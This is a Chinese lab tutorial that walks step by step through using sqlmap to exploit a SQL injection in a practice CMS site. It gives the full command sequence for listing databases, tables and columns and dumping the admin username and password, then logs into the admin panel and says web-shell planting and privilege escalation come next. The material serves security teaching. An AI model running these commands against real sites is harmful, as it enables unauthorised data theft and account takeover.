1.9 (实验)如何使用SQLMap进行MySQL数据库注入
第一步:打开目标地址,先手工检查一下是否存在注入点。
http://www.any.com/wcms/show.php?id=33页面正常
![](https://img.haomeiwen.com/i15440883/79c7dba7aed27140.png)
http://www.any.com/wcms/show.php?id=33'正常报错
![](https://img.haomeiwen.com/i15440883/a02ea1bf281b8d61.png)
说明存在注入漏洞。下面使用sqlmap进行SQL注入操作。
第二步:使用sqlmap判断一下是否存在注入漏洞(主要是看能否返回信息)
python sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33
使用的参数是-u,意思是url。当给sqlmap这么一个url的时候,它会判断可注入的参数;判断可以用那种SQL注入技术来注入;识别出哪种数据库;根据用户选择,读取哪些数据。实验结果如下图:
![](https://img.haomeiwen.com/i15440883/a01e961cb0f873d4.png)
如果遇到类似于下图箭头所指的选择,直接点击回车即可。
![](https://img.haomeiwen.com/i15440883/118ea38867c5b5e2.png)
最终结果如下图所示:
![](https://img.haomeiwen.com/i15440883/42dce99511d6882a.png)
对最终结果的分析(上图中红框内的部分):
Web服务器的系统是Windows;web应用技术的PHP版本是5.3.29,Apache版本是2.4.10;后台数据库使用的是MySQL,版本大于5.5。
第三步:获取数据库信息。
python sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --dbs#获取所有数据库信息
![](https://img.haomeiwen.com/i15440883/ad89b19321555bf9.png)
得到的数据库结果如下图:
![](https://img.haomeiwen.com/i15440883/f0b0c365fd9ae136.png)
对最终结果的分析(上图中红框内的部分):
系统由10个可以使用的数据库,名称分别是510cms,challenges,cms,dvwa,efucms,information_schema,mysql,performation_schema,security,test。
获取当前数据库的信息使用的命令是python sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --current-db#获取当前数据库信息
![](https://img.haomeiwen.com/i15440883/7a2a050163ae3b5e.png)
![](https://img.haomeiwen.com/i15440883/11a6004360fe0c99.png)
对最终结果的分析(上图中红框内的部分):
当前网页使用的数据库名称是cms。
第四步:指定库名列出所有表
python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms --tables使用参数-D来指定数据库为cms,使用参数--tables来确定获取的内容是cms数据库内的表的名称。
![](https://img.haomeiwen.com/i15440883/f8a2000e21d3cc02.png)
![](https://img.haomeiwen.com/i15440883/252a9ec093049f98.png)
对最终结果的分析(上图中红框内的部分):
当前网页使用的数据库名称是cms。进一步获取到了cms库所有的表,cms数据库中的数据表有8个,名称分别是cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users,我们更关注cms_users这个表。根据经验,这里面存储着后台的管理账号和密码。
第五步:指定库名表名列出所有字段。
python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users --columns使用参数-D来指定数据库为cms,使用-T来指定数据表的名称是cms_users,使用参数--columns来确定获取的内容是cms数据库内的cms_users表中列的名称。
![](https://img.haomeiwen.com/i15440883/208cc55eeab4e1b0.png)
![](https://img.haomeiwen.com/i15440883/c3c60bedca3d46d0.png)
对最终结果的分析(上图中红框内的部分):
当前网页使用的数据库名称是cms。数据表的名称是cms_users。在这个表中有三个字段,字段名称分别是password,userid,username,字符类型分别是最长是32位的字符型,最长为11位的整型和最长是20位的字符型数据。理论上password、和username分别存储着密码和用户名。
第六步:指定库名表名字段列出指定字段
python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users -C username,password --dump使用参数-D来指定数据库为cms,使用-T来指定数据表的名称是cms_users,使用-C来指定数据表中列的名称是username和password,使用参数--dump来确定获取的内容是cms数据库内的cms_users表中的username和password列的内容字段。
![](https://img.haomeiwen.com/i15440883/57016bcf73c704eb.png)
在执行过程中,会需要我们属于选择一下y或者n,默认的是大写选项,默认即可(一直按Enter键即可)。
![](https://img.haomeiwen.com/i15440883/1f9a81880db17e9f.png)
最终实验结果结果如图所示:
![](https://img.haomeiwen.com/i15440883/fdba2d7f1b7c7878.png)
对最终结果的分析(上图中红框内的部分):
当前网页使用的数据库名称是cms。数据表的名称是cms_users。在这个表中的username和password对应的内容分别是 admin 和123456。
第七步:在后台登陆一下。至于后台的查找,我们可以通过御剑这款专业的后台查找工具,后续实验中会有详细的介绍,这里不再赘述。
使用的网址是http://www.any.com/wcms/admin/login.php
![](https://img.haomeiwen.com/i15440883/db34b6c79ce8338b.png)
输入用户名和密码 admin 123456
![](https://img.haomeiwen.com/i15440883/ccfcbaab43d691fa.png)
登陆成功。关于sqlmap的入侵整个实验过程已经结束,后续的工作就是挂马提权,这些内容也会在后续的实验中进行详细的介绍。
网友评论